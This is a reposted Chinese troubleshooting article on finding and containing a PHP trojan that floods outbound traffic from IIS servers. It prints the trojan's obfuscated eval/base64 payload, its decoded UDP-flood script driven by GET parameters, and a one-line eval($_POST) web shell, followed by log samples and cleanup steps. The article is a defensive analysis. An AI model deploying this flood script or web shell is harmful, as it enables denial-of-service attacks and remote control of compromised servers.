php木马导致服务器流出流量很高的排查及临时解决方法
近段時間服務器上經常出現流出的流量達到百分之八九十左右,很是讓人惱火。
對于服務器流量流出100%排查流程及方法:
癥狀:流出流量偶爾達到98%左右、并持續一段時間。停止iis或停掉80端口后就恢復正常。iis啟動之后就又
達到98%左右。
原因:有的網站中存在一個xxx.php文件,文件中有一段加密的代碼:代碼如下:
<?php eval(gzinflate(base64_decode
('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4
cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0U
MS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nF
BpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh
1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxf
mI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2
JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a
85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5
F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKo
xFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGL
Vowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
解密后如下:
<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
??????? $out .= "X";
}
while(1){
$packets++;
??????? if(time() > $max_time){
??????????????? break;
??????? }
???????
??????? $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
??????? if($fp){
??????????????? fwrite($fp, $out);
??????????????? fclose($fp);
??????? }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . "
mB) packets averaging ".
round($packets/$exec_time, 2) . " packets/s /n";
?>
<?php eval($_POST[ddos])?>
訪問后會產生類似以下格式的日志和錯誤日志:
訪問日志:2010-08-11 11:36:07 W3SVC156 GET /help.php ip=www.XXXXXXX.com&port=80&time=80
183.20.215.161 - www.AAAAAAA.com 200 527 522
錯誤日志:
2010-08-12 11:38:04 121.101.212.186 49640 219.136.252.155 80 HTTP/1.1 GET /pic/osa.php?
ip=204.188.212.244&port=80&time=1000 503 598 Disabled AppPool+#11
解決方法:
1、用NetLimiter 2 Pro 查出是由那個進程id 造成流出的流量比較高,再用procexp.exe進程查看工具,查
找出是那個進程池。然后禁掉這個進程池,重啟iis之后恢復正常。然后新建一個進程池并對禁掉的進程池里
的站點進行分池,一步一步找到問題站點。
2、直接看錯誤日志,如果有和以上格式相同的錯誤日志和訪問日志的話,就查找一下訪問路徑XXX.php 并進
行和以上代碼進行對比,如果相同就是此站點影響。并將站點關閉,單獨放進程池,并關閉進程池。
3、研究上邊一段解密后的代碼,查找到相應的函數gzinflate()fsockopen()或并禁止掉。或做相應的防護措施防止此段代碼運行。
總結
以上是生活随笔為你收集整理的php木马导致服务器流出流量很高的排查及临时解决方法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 单片机c语言数码管显示循环0到9程序,七
- 下一篇: 动态规划算法php,php算法学习之动态